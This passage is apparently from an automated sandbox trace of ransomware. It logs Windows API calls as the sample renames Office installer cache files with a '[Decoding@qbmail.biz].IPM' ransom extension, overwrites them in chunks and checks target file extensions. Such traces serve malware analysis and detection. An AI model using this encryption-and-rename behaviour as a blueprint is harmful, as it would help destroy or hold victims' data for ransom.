(lpString1=".jpg", lpString2=".cab") returned 1 [0092.017] lstrcmpiW (lpString1=".msi", lpString2=".IPM") returned 1 [0092.018] lstrlenW (lpString="InfoPathMUI.msi") returned 15 [0092.018] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0092.018] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=3124224) returned 1 [0092.018] CloseHandle (hObject=0x1f0) returned 1 [0092.019] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi")) returned 0x2020 [0092.019] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0092.019] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 1 [0092.019] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0092.020] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0092.020] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0092.020] ReadFile (in: hFile=0x1f0, lpBuffer=0x3c90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3c90058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0092.661] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0092.662] ReadFile (in: hFile=0x1f0, lpBuffer=0x3cd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3cd0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0092.686] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0092.686] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0092.686] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3d10058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0093.196] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0093.196] WriteFile (in: hFile=0x1f0, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x32afcb0*=0xc010a, lpOverlapped=0x0) returned 1 [0093.635] SetEndOfFile (hFile=0x1f0) returned 1 [0093.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f33ff0 [0093.782] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0093.782] WriteFile (in: hFile=0x1f0, lpBuffer=0x3f33ff0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33ff0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0093.784] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0093.784] WriteFile (in: hFile=0x1f0, lpBuffer=0x3f33ff0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33ff0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0093.805] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0093.805] WriteFile (in: hFile=0x1f0, lpBuffer=0x3f33ff0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33ff0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0093.809] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f33ff0 | out: hHeap=0x5d0000) returned 1 [0093.809] CloseHandle (hObject=0x1f0) returned 1 [0093.809] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0093.810] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0093.810] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0093.810] lstrlenW (lpString=".doc") returned 4 [0093.810] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0093.810] lstrlenW (lpString=".docx") returned 5 [0093.810] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0093.810] lstrlenW (lpString=".pdf") returned 4 [0093.810] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0093.810] lstrlenW (lpString=".xls") returned 4 [0093.810] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0093.810] lstrlenW (lpString=".xlsx") returned 5 [0093.810] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0093.810] lstrlenW (lpString=".ppt") returned 4 [0093.810] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0093.810] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0093.810] lstrlenW (lpString=".zip") returned 4 [0093.810] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0093.810] lstrlenW (lpString=".rar") returned 4 [0093.810] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0093.810] lstrlenW (lpString=".bz2") returned 4 [0093.810] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0093.810] lstrlenW (lpString=".7z") returned 3 [0093.810] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0093.810] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0093.811] lstrlenW (lpString=".dbf") returned 4 [0093.811] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0093.811] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0093.811] lstrlenW (lpString=".1cd") returned 4 [0093.811] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0093.811] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0093.811] lstrlenW (lpString=".jpg") returned 4 [0093.811] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0093.811] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0093.811] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0093.811] lstrlenW (lpString=".doc") returned 4 [0093.811] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0093.811] lstrlenW (lpString=".docx") returned 5 [0093.811] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0093.811] lstrlenW (lpString=".pdf") returned 4 [0093.811] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0093.811] lstrlenW (lpString=".xls") returned 4 [0093.811] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0093.811] lstrlenW (lpString=".xlsx") returned 5 [0093.811] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0093.811] lstrlenW (lpString=".ppt") returned 4 [0093.811] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0093.811] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0093.812] lstrlenW (lpString=".zip") returned 4 [0093.812] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0093.812] lstrlenW (lpString=".rar") returned 4 [0093.812] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0093.812] lstrlenW (lpString=".bz2") returned 4 [0093.812] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0093.812] lstrlenW (lpString=".7z") returned 3 [0093.812] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0093.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0093.812] lstrlenW (lpString=".dbf") returned 4 [0093.812] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0093.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0093.812] lstrlenW (lpString=".1cd") returned 4 [0093.812] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0093.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0093.812] lstrlenW (lpString=".jpg") returned 4 [0093.812] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0093.812] lstrcmpiW (lpString1=".msi", lpString2=".IPM") returned 1 [0093.812] lstrlenW (lpString="OneNoteMUI.msi") returned 14 [0093.812] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0093.813] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=2503680) returned 1 [0093.813] CloseHandle (hObject=0x1f0) returned 1 [0093.813] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi")) returned 0x2020 [0093.813] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0093.813] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 1 [0093.814] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0093.814] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0093.814] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0093.814] ReadFile (in: hFile=0x1f0, lpBuffer=0x3c90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3c90058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0093.824] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0093.824] ReadFile (in: hFile=0x1f0, lpBuffer=0x3cd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3cd0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0093.847] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0093.847] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0093.847] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3d10058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0094.328] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0094.333] WriteFile (in: hFile=0x1f0, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x32afcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0094.606] SetEndOfFile (hFile=0x1f0) returned 1 [0094.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3fd4020 [0094.611] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0094.611] WriteFile (in: hFile=0x1f0, lpBuffer=0x3fd4020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd4020*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0094.613] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0094.613] WriteFile (in: hFile=0x1f0, lpBuffer=0x3fd4020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd4020*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0094.621] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0094.621] WriteFile (in: hFile=0x1f0, lpBuffer=0x3fd4020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd4020*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0094.625] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3fd4020 | out: hHeap=0x5d0000) returned 1 [0094.625] CloseHandle (hObject=0x1f0) returned 1 [0094.626] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0094.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0094.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0094.626] lstrlenW (lpString=".doc") returned 4 [0094.626] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0094.626] lstrlenW (lpString=".docx") returned 5 [0094.627] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0094.627] lstrlenW (lpString=".pdf") returned 4 [0094.627] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0094.627] lstrlenW (lpString=".xls") returned 4 [0094.627] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0094.627] lstrlenW (lpString=".xlsx") returned 5 [0094.627] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0094.627] lstrlenW (lpString=".ppt") returned 4 [0094.627] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0094.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0094.627] lstrlenW (lpString=".zip") returned 4 [0094.627] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0094.627] lstrlenW (lpString=".rar") returned 4 [0094.627] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0094.627] lstrlenW (lpString=".bz2") returned 4 [0094.627] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0094.627] lstrlenW (lpString=".7z") returned 3 [0094.627] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0094.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0094.630] lstrlenW (lpString=".dbf") returned 4 [0094.630] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0094.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0094.630] lstrlenW (lpString=".1cd") returned 4 [0094.630] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0094.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0094.630] lstrlenW (lpString=".jpg") returned 4 [0094.630] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0094.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0094.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0094.630] lstrlenW (lpString=".doc") returned 4 [0094.630] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0094.630] lstrlenW (lpString=".docx") returned 5 [0094.630] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0094.630] lstrlenW (lpString=".pdf") returned 4 [0094.630] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0094.630] lstrlenW (lpString=".xls") returned 4 [0094.630] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0094.630] lstrlenW (lpString=".xlsx") returned 5 [0094.630] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0094.630] lstrlenW (lpString=".ppt") returned 4 [0094.630] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0094.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0094.631] lstrlenW (lpString=".zip") returned 4 [0094.631] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0094.631] lstrlenW (lpString=".rar") returned 4 [0094.631] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0094.631] lstrlenW (lpString=".bz2") returned 4 [0094.631] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0094.631] lstrlenW (lpString=".7z") returned 3 [0094.631] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0094.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0094.631] lstrlenW (lpString=".dbf") returned 4 [0094.631] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0094.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0094.631] lstrlenW (lpString=".1cd") returned 4 [0094.631] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0094.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0094.631] lstrlenW (lpString=".jpg") returned 4 [0094.631] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0094.631] lstrcmpiW (lpString1=".cab", lpString2=".IPM") returned -1 [0094.631] lstrlenW (lpString="ProjLR.cab") returned 10 [0094.631] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0095.035] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=8265165) returned 1 [0095.036] CloseHandle (hObject=0x1d8) returned 1 [0095.036] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab")) returned 0x2020 [0095.036] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0095.036] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 1 [0095.036] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0095.036] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0095.037] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0095.037] ReadFile (in: hFile=0x1d8, lpBuffer=0x3c90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3c90058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0095.063] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0095.063] ReadFile (in: hFile=0x1d8, lpBuffer=0x3cd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3cd0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0095.169] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0095.169] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0095.169] ReadFile (in: hFile=0x1d8, lpBuffer=0x3d10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3d10058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0095.311] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0095.311] WriteFile (hFile=0x1d8, lpBuffer=0x3c90020, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0) Thread: id = 18 os_tid = 0x490 [0069.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x39100a0 [0069.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x39200a8 [0069.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66ffb0 